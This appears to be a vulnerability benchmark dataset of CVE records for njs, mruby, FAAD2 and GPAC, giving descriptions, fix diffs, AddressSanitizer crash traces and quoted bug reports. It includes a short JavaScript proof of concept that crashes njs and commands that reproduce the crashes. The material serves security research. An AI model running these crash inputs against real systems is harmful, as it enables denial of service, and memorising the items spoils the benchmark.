AddressSanitizer:DEADLYSIGNAL ================================================================= ==2064577==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004cac48 bp 0x7ffcc1edfbf0 sp 0x7ffcc1edfbb0 T0) ==2064577==The signal is caused by a READ memory access. ==2064577==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used. #0 0x4cac48 in njs_lvlhsh_bucket_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17 #1 0x4cac48 in njs_lvlhsh_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:181:20 #2 0x516c4f in njs_object_property /home/q1iq/Documents/origin/njs/src/njs_object_prop.c:59:15 #3 0x4d5963 in njs_value_to_primitive /home/q1iq/Documents/origin/njs/src/njs_value.c:159:19 #4 0x4fb3ab in njs_value_to_number /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:18:15 #5 0x4fb3ab in njs_value_to_numeric /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:54:11 #6 0x4fb3ab in njs_string_from_char_code /home/q1iq/Documents/origin/njs/src/njs_string.c:2036:19 #7 0x53bf9c in njs_function_native_call /home/q1iq/Documents/origin/njs/src/njs_function.c:739:11 #8 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23 #9 0x53b43a in njs_function_lambda_call /home/q1iq/Documents/origin/njs/src/njs_function.c:703:11 #10 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23 #11 0x4deb7b in njs_vm_start /home/q1iq/Documents/origin/njs/src/njs_vm.c:493:11 #12 0x4c8099 in njs_process_script /home/q1iq/Documents/origin/njs/src/njs_shell.c:903:19 #13 0x4c7484 in njs_process_file /home/q1iq/Documents/origin/njs/src/njs_shell.c:632:11 #14 0x4c7484 in main /home/q1iq/Documents/origin/njs/src/njs_shell.c:316:15 #15 0x7f4beb9e10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #16 0x41dabd in _start (/home/q1iq/Documents/origin/njs/build/njs+0x41dabd) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17 in njs_lvlhsh_bucket_find ==2064577==ABORTING
=== https://github.com/nginx/njs/issues/467 === Title: SEGV njs_lvlhsh.c:231:17 in njs_lvlhsh_bucket_find --- Body: ### Environment ``` OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux Commit : 7bd570b39297d3d91902c93a624c89b08be7a6fe Version : 0.7.2 Build : NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address" NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer" ``` ### Proof of concept ``` function f2(v) { Object.prototype.toString = v; } Object.prototype.toString = f2; function f() { "includes"[{}](); } new Promise(f); String.fromCharCode(0,parseInt); ``` ### Stack dump ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==2064577==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004cac48 bp 0x7ffcc1edfbf0 sp 0x7ffcc1edfbb0 T0) ==2064577==The signal is caused by a READ memory access. ==2064577==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used. #0 0x4cac48 in njs_lvlhsh_bucket_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17 #1 0x4cac48 in njs_lvlhsh_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:181:20 #2 0x516c4f in njs_object_property /home/q1iq/Documents/origin/njs/src/njs_object_prop.c:59:15 #3 0x4d5963 in njs_value_to_primitive /home/q1iq/Documents/origin/njs/src/njs_value.c:159:19 #4 0x4fb3ab in njs_value_to_number /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:18:15 #5 0x4fb3ab in njs_value_to_numeric /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:54:11 #6 0x4fb3ab in njs_string_from_char_code /home/q1iq/Documents/origin/njs/src/njs_string.c:2036:19 #7 0x53bf9c in njs_function_native_call /home/q1iq/Documents/origin/njs/src/njs_function.c:739:11 #8 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23 #9 0x53b43a in njs_function_lambda_call /home/q1iq/Documents/origin/njs/src/njs_function.c:703:11 #10 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23 #11 0x4deb7b in njs_vm_start /home/q1iq/Documents/origin/njs/src/njs_vm.c:493:11 #12 0x4c8099 in njs_process_script /home/q1iq/Documents/origin/njs/src/njs_shell.c:903:19 #13 0x4c7484 in njs_process_file /home/q1iq/Documents/origin/njs/src/njs_shell.c:632:11 #14 0x4c7484 in main /home/q1iq/Documents/origin/njs/src/njs_shell.c:316:15 #15 0x7f4beb9e10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #16 0x41dabd in _start (/home/q1iq/Documents/origin/njs/build/njs+0x41dabd) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17 in njs_lvlhsh_bucket_find ==2064577==ABORTING ``` ### Credit Q1IQ(@Q1IQ)
https://nvd.nist.gov/vuln/detail/CVE-2022-29369
mruby.cve-2022-1201
NULL Pointer Dereference in mrb_vm_exec with super in GitHub repository mruby/mruby prior to 3.2. This vulnerability is capable of making the mruby interpreter crash, thus affecting the availability of the system.
https://huntr.dev/bounties/6f930add-c9d8-4870-ae56-d4bd8354703b
https://github.com/mruby/mruby/commit/00acae117da1b45b318dc36531a7b0021b8097ae
CWE-476
mruby/mruby
00acae117da1b45b318dc36531a7b0021b8097ae~1
diff --git a/src/vm.c b/src/vm.c index 77edbb38fc..3bb9510ec1 100644 --- a/src/vm.c +++ b/src/vm.c @@ -1749,7 +1749,7 @@ mrb_vm_exec(mrb_state *mrb, const struct RProc *proc, const mrb_code *pc) } else if (target_class->tt == MRB_TT_MODULE) { target_class = mrb_vm_ci_target_class(ci); - if (target_class->tt != MRB_TT_ICLASS) { + if (!target_class || target_class->tt != MRB_TT_ICLASS) { goto super_typeerror; } }
https://nvd.nist.gov/vuln/detail/CVE-2022-1201
faad2.cve-2018-20198
A NULL pointer dereference was discovered in ifilter_bank of libfaad/filtbank.c in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. The vulnerability causes a segmentation fault and application crash, which leads to denial of service because adding to windowed output is mishandled in the LONG_START_SEQUENCE case.
https://github.com/knik0/faad2/issues/23
CWE-476
knik0/faad2
https://github.com/knik0/faad2/issues/23, https://seclists.org/bugtraq/2019/Sep/28
./faad faad_res/002-null-point-filtbank_246 -o out.wav *********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ****************** Build: Dec 13 2018 Copyright 2002-2004: Ahead Software AG http://www.audiocoding.com bug tracking: https://sourceforge.net/p/faac/bugs/ Floating point version This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License. ************************************************************************** faad_res/002-null-point-filtbank_246 file info: ADTS, 0.043 sec, 37 kbps, 48000 Hz --------------------- | Config: 3 Ch | --------------------- | Ch | Position | --------------------- | 00 | Left front | | 01 | Right front | | 02 | Unknown | --------------------- ASAN:SIGSEGV faad_res/002-null-point-filtbank_246. ================================================================= ==7062==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fe67b9599f6 bp 0x7fff60c60600 sp 0x7fff60c5e510 T0) #0 0x7fe67b9599f5 in ifilter_bank /root/faad2_asan/libfaad/filtbank.c:246 #1 0x7fe67b99519d in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1258 #2 0x7fe67b99b823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759 #3 0x7fe67b999cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402 #4 0x7fe67b99a398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448 #5 0x7fe67b9549c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990 #6 0x7fe67b954566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821 #7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679 #8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323 #9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366 #10 0x7fe67b58c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/filtbank.c:246 ifilter_bank ==7062==ABORTING
=== https://github.com/knik0/faad2/issues/23 === Title: Null pointer dereference vulnerability in ifilter_bank(libfaad/filtbank.c:246) --- Body: Hi, i found a null pointer dereference bug in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. It crashed in function ifilter_bank.the details are below(ASAN): ``` ./faad faad_res/002-null-point-filtbank_246 -o out.wav *********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ****************** Build: Dec 13 2018 Copyright 2002-2004: Ahead Software AG http://www.audiocoding.com bug tracking: https://sourceforge.net/p/faac/bugs/ Floating point version This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License. ************************************************************************** faad_res/002-null-point-filtbank_246 file info: ADTS, 0.043 sec, 37 kbps, 48000 Hz --------------------- | Config: 3 Ch | --------------------- | Ch | Position | --------------------- | 00 | Left front | | 01 | Right front | | 02 | Unknown | --------------------- ASAN:SIGSEGV faad_res/002-null-point-filtbank_246. ================================================================= ==7062==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fe67b9599f6 bp 0x7fff60c60600 sp 0x7fff60c5e510 T0) #0 0x7fe67b9599f5 in ifilter_bank /root/faad2_asan/libfaad/filtbank.c:246 #1 0x7fe67b99519d in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1258 #2 0x7fe67b99b823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759 #3 0x7fe67b999cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402 #4 0x7fe67b99a398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448 #5 0x7fe67b9549c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990 #6 0x7fe67b954566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821 #7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679 #8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323 #9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366 #10 0x7fe67b58c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/filtbank.c:246 ifilter_bank ==7062==ABORTING ``` POC FILE:https://github.com/fantasy7082/image_test/blob/master/002-null-point-filtbank_246 --- Comment #1 by hlef: This issue has been assigned CVE-2018-20198. Same underlying issue as #26. @fabiangreffrath : fixed by 466b01d504d7e45f1e9169ac90b3e34ab94aed14. --- Comment #2 by fabiangreffrath: Closing, thanks!
https://nvd.nist.gov/vuln/detail/CVE-2018-20198
mruby.cve-2022-1427
Out-of-bounds Read in mrb_obj_is_kind_of in in GitHub repository mruby/mruby prior to 3.2. # Impact: Possible arbitrary code execution if being exploited.
https://huntr.dev/bounties/23b6f0a9-64f5-421e-a55f-b5b7a671f301
https://github.com/mruby/mruby/commit/a4d97934d51cb88954cc49161dc1d151f64afb6b
CWE-125
mruby/mruby
a4d97934d51cb88954cc49161dc1d151f64afb6b~1
diff --git a/src/vm.c b/src/vm.c index 5013c877d4..aa043b06ae 100644 --- a/src/vm.c +++ b/src/vm.c @@ -1750,10 +1750,7 @@ mrb_vm_exec(mrb_state *mrb, const struct RProc *proc, const mrb_code *pc) mrb_exc_set(mrb, exc); goto L_RAISE; } - if (target_class->flags & MRB_FL_CLASS_IS_PREPENDED) { - target_class = mrb_vm_ci_target_class(ci); - } - else if (target_class->tt == MRB_TT_MODULE) { + if ((target_class->flags & MRB_FL_CLASS_IS_PREPENDED) || target_class->tt == MRB_TT_MODULE) { target_class = mrb_vm_ci_target_class(ci); if (!target_class || target_class->tt != MRB_TT_ICLASS) { goto super_typeerror;
ASan (inferred)
https://nvd.nist.gov/vuln/detail/CVE-2022-1427
gpac.cve-2023-48013
GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a double free via the gf_filterpacket_del function at /gpac/src/filter_core/filter.c.
https://github.com/gpac/gpac/issues/2612
https://github.com/gpac/gpac/commit/cd8a95c1efb8f5bfc950b86c2ef77b4c76f6b893
CWE-415
gpac/gpac
cd8a95c1efb8f5bfc950b86c2ef77b4c76f6b893~1
diff --git a/src/filters/isoffin_read_ch.c b/src/filters/isoffin_read_ch.c index bd96400689..6e74ce8e3f 100644 --- a/src/filters/isoffin_read_ch.c +++ b/src/filters/isoffin_read_ch.c @@ -395,6 +395,8 @@ void isor_reader_get_sample(ISOMChannel *ch) if (ch->edit_sync_frame) { ch->edit_sync_frame++; if (ch->edit_sync_frame < ch->sample_num) { + ch->static_sample->alloc_size = 0; + ch->static_sample->dataLength = 0; ch->sample = gf_isom_get_sample_ex(ch->owner->mov, ch->track, ch->edit_sync_frame, &sample_desc_index, ch->static_sample, &ch->sample_data_offset); if (ch->sample) { ch->sample->DTS = ch->sample_time; @@ -416,12 +418,20 @@ void isor_reader_get_sample(ISOMChannel *ch) //e = GF_EOS; } else { u32 time_diff = gf_isom_get_sample_duration(ch->owner->mov, ch->track, sample_num); + + ch->static_sample->alloc_size = 0; + ch->static_sample->dataLength = 0; + e = gf_isom_get_sample_for_movie_time(ch->owner->mov, ch->track, ch->sample_time + time_diff, &sample_desc_index, GF_ISOM_SEARCH_FORWARD, &ch->static_sample, &ch->sample_num, &ch->sample_data_offset); ch->static_sample->alloc_size = 0; if (e==GF_OK) { if (ch->sample_num == prev_sample) { ch->sample_time += time_diff; ch->sample = NULL; + if (ch->pck) { + gf_filter_pck_discard(ch->pck); + ch->pck = NULL; + } return; } else { ch->sample = ch->static_sample; @@ -437,6 +447,8 @@ void isor_reader_get_sample(ISOMChannel *ch) GF_ISOSample *found = ch->static_sample; u32 samp_num = ch->sample_num; ch->sample = NULL; + ch->static_sample->alloc_size = 0; + ch->static_sample->dataLength = 0; e = gf_isom_get_sample_for_movie_time(ch->owner->mov, ch->track, ch->sample_time + 1, &sample_desc_index, GF_ISOM_SEARCH_SYNC_BACKWARD, &ch->static_sample, &ch->sample_num, &ch->sample_data_offset); ch->static_sample->alloc_size = 0;
https://github.com/gpac/gpac/issues/2612
==827317==ERROR: AddressSanitizer: attempting double-free on 0x619000015980 in thread T0: #0 0x55e7797a5972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) #1 0x7f525cd97945 in gf_filterpacket_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:38:17 #2 0x7f525cd6a022 in gf_fq_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_queue.c:105:33 #3 0x7f525cda14e5 in gf_filter_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:664:3 #4 0x7f525cd6ede9 in gf_fs_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:782:4 #5 0x7f525c6283f6 in gf_dasher_clean_inputs /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:164:3 #6 0x7f525c6283f6 in gf_dasher_del /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:173:2 #7 0x55e779809d2d in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4894:2 #8 0x55e7797fab6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7 #9 0x7f525b629d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #10 0x7f525b629e3f in __libc_start_main csu/../csu/libc-start.c:392:3 #11 0x55e779722dd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) 0x619000015980 is located 0 bytes inside of 1084-byte region [0x619000015980,0x619000015dbc) freed by thread T0 here: #0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) #1 0x7f525c4f7ab6 in Media_GetSample /home/user/fuzzing_gpac/gpac/src/isomedia/media.c:619:30 #2 0x7f525c45d7b3 in gf_isom_get_sample_ex /home/user/fuzzing_gpac/gpac/src/isomedia/isom_read.c:1975:6 #3 0x7f525d05a156 in isor_reader_get_sample /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read_ch.c:398:19 #4 0x7f525d04d2d5 in isoffin_process /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read.c:1486:5 #5 0x7f525cdafa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7 previously allocated by thread T0 here: LLVMSymbolizer: error reading file: No such file or directory #0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) #1 0x7f525cd00add in gf_filter_pck_expand /home/user/fuzzing_gpac/gpac/src/filter_core/filter_pck.c:1846:15 #2 0x7ffd05c3a8df ([stack]+0x328df) SUMMARY: AddressSanitizer: double-free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) in free ==827317==ABORTING
=== https://github.com/gpac/gpac/issues/2612 === Title: double-free in gf_filterpacket_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:38:17 --- Body: # Version ``` $ ./MP4Box -version MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master ``` # Platform ``` $ uname -a Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux ``` # Asan ``` /home/user/vul/MP4Box_crash/id000037sig06src002502time27968081execs258947ophavocrep16 [32m[iso file] Unknown box type 00000000 in parent moov [0m[32m[iso file] Unknown top-level box type 00000100 [0m[32m[Dasher] No template assigned, using $File$_dash$FS$$Number$ [0m[32m[Dasher] No bitrate property assigned to PID V1, computing from bitstream [0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2 [0m[32m[iso file] Unknown box type 00000000 in parent moov [0m[33m[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 18446744073709551615/12288 [0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2 [0m[31m[MuxIsom] Packet with no CTS assigned, cannot store to track, ignoring [0m[31m[IsoMedia] File truncated, aborting read for track 1 [0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2 [0m[37mDashing P1 AS#1.1(V) done (1 segs) [0m[31m[Dasher] Couldn't compute bitrate of PID V1 in time for manifest generation, please specify #Bitrate property [0m[31m[Dasher] Couldn't compute bitrate of PID V1 in time for manifest generation, please specify #Bitrate property [0m[32m[MPD] Generating MPD at time 2023-10-08T12:38:38.043Z [0m[32m[Dasher] End of Period [0m[32m[Dasher] End of MPD (no more active streams) [0m================================================================= ==827317==ERROR: AddressSanitizer: attempting double-free on 0x619000015980 in thread T0: #0 0x55e7797a5972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) #1 0x7f525cd97945 in gf_filterpacket_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:38:17 #2 0x7f525cd6a022 in gf_fq_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_queue.c:105:33 #3 0x7f525cda14e5 in gf_filter_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:664:3 #4 0x7f525cd6ede9 in gf_fs_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:782:4 #5 0x7f525c6283f6 in gf_dasher_clean_inputs /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:164:3 #6 0x7f525c6283f6 in gf_dasher_del /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:173:2 #7 0x55e779809d2d in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4894:2 #8 0x55e7797fab6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7 #9 0x7f525b629d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #10 0x7f525b629e3f in __libc_start_main csu/../csu/libc-start.c:392:3 #11 0x55e779722dd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) 0x619000015980 is located 0 bytes inside of 1084-byte region [0x619000015980,0x619000015dbc) freed by thread T0 here: #0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) #1 0x7f525c4f7ab6 in Media_GetSample /home/user/fuzzing_gpac/gpac/src/isomedia/media.c:619:30 #2 0x7f525c45d7b3 in gf_isom_get_sample_ex /home/user/fuzzing_gpac/gpac/src/isomedia/isom_read.c:1975:6 #3 0x7f525d05a156 in isor_reader_get_sample /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read_ch.c:398:19 #4 0x7f525d04d2d5 in isoffin_process /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read.c:1486:5 #5 0x7f525cdafa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7 previously allocated by thread T0 here: LLVMSymbolizer: error reading file: No such file or directory #0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) #1 0x7f525cd00add in gf_filter_pck_expand /home/user/fuzzing_gpac/gpac/src/filter_core/filter_pck.c:1846:15 #2 0x7ffd05c3a8df ([stack]+0x328df) SUMMARY: AddressSanitizer: double-free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) in free ==827317==ABORTING ``` # Reproduce ``` ./MP4Box -dash 10000 poc ``` # POC File https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/df_105972 # Credit ``` Gandalf4a ```
https://nvd.nist.gov/vuln/detail/CVE-2023-48013
gpac.cve-2023-48011
GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a heap-use-after-free via the flush_ref_samples function at /gpac/src/isomedia/movie_fragments.c.
https://github.com/gpac/gpac/issues/2611
https://github.com/gpac/gpac/commit/c70f49dda4946d6db6aa55588f6a756b76bd84ea
CWE-416
gpac/gpac
c70f49dda4946d6db6aa55588f6a756b76bd84ea~1
diff --git a/src/isomedia/movie_fragments.c b/src/isomedia/movie_fragments.c index b7f7ade327..d665eeb9d0 100644 --- a/src/isomedia/movie_fragments.c +++ b/src/isomedia/movie_fragments.c @@ -591,6 +591,7 @@ u32 UpdateRuns(GF_ISOFile *movie, GF_TrackFragmentBox *traf) while (gf_list_count(traf->TrackRuns)) { trun = (GF_TrackFragmentRunBox *)gf_list_get(traf->TrackRuns, 0); gf_list_rem(traf->TrackRuns, 0); + gf_list_del_item(movie->moof->trun_list, trun); gf_isom_box_del_parent(&traf->child_boxes, (GF_Box *)trun); } traf->tfhd->flags |= GF_ISOM_TRAF_DUR_EMPTY; @@ -643,6 +644,7 @@ u32 UpdateRuns(GF_ISOFile *movie, GF_TrackFragmentBox *traf) if (!first_ent) { i--; gf_list_rem(traf->TrackRuns, i); + gf_list_del_item(movie->moof->trun_list, trun); continue; } trun->flags = 0;
https://github.com/gpac/gpac/issues/2611
==836900==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000001d88 at pc 0x7f57c0120bf1 bp 0x7ffeac405a70 sp 0x7ffeac405a68 READ of size 8 at 0x60b000001d88 thread T0 #0 0x7f57c0120bf0 in flush_ref_samples /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37 #1 0x7f57c0128df2 in gf_isom_close_segment /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:2331:4 #2 0x7f57c0cfd198 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6734:8 #3 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14 #4 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7 #5 0x7f57c097d47b in gf_fs_thread_proc /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2105:3 #6 0x7f57c097b5cf in gf_fs_run /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2405:3 #7 0x7f57c022ac6a in gf_dasher_process /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:1236:6 #8 0x55ff536546dc in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4831:15 #9 0x55ff53645b6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7 #10 0x7f57bf229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #11 0x7f57bf229e3f in __libc_start_main csu/../csu/libc-start.c:392:3 #12 0x55ff5356ddd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) 0x60b000001d88 is located 104 bytes inside of 112-byte region [0x60b000001d20,0x60b000001d90) freed by thread T0 here: #0 0x55ff535f0972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) #1 0x7f57c001e6f5 in gf_isom_box_del /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2005:3 previously allocated by thread T0 here: #0 0x55ff535f0c1e in malloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105c1e) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) #1 0x7f57bff95c5a in trun_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_code_base.c:7805:2 #2 0x7f57c0026335 in gf_isom_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:1896:9 #3 0x7f57c0026335 in gf_isom_box_new_parent /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2351:14 #4 0x7f57c0d06f05 in mp4_mux_process_sample /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:4915:9 #5 0x7f57c0cf85a4 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6653:8 #6 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14 #7 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7 SUMMARY: AddressSanitizer: heap-use-after-free /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37 in flush_ref_samples Shadow bytes around the buggy address: 0x0c167fff8360: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff8370: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c167fff8380: 00 00 00 00 05 fa fa fa fa fa fa fa fa fa 00 00 0x0c167fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa 0x0c167fff83a0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c167fff83b0: fd[fd]fa fa fa fa fa fa fa fa fd fd fd fd fd fd 0x0c167fff83c0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa 0x0c167fff83d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa 0x0c167fff83e0: fa fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd 0x0c167fff83f0: fd fd fd fd fa fa fa fa fa fa fa fa fd fd fd fd 0x0c167fff8400: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==836900==ABORTING
ASan (inferred)
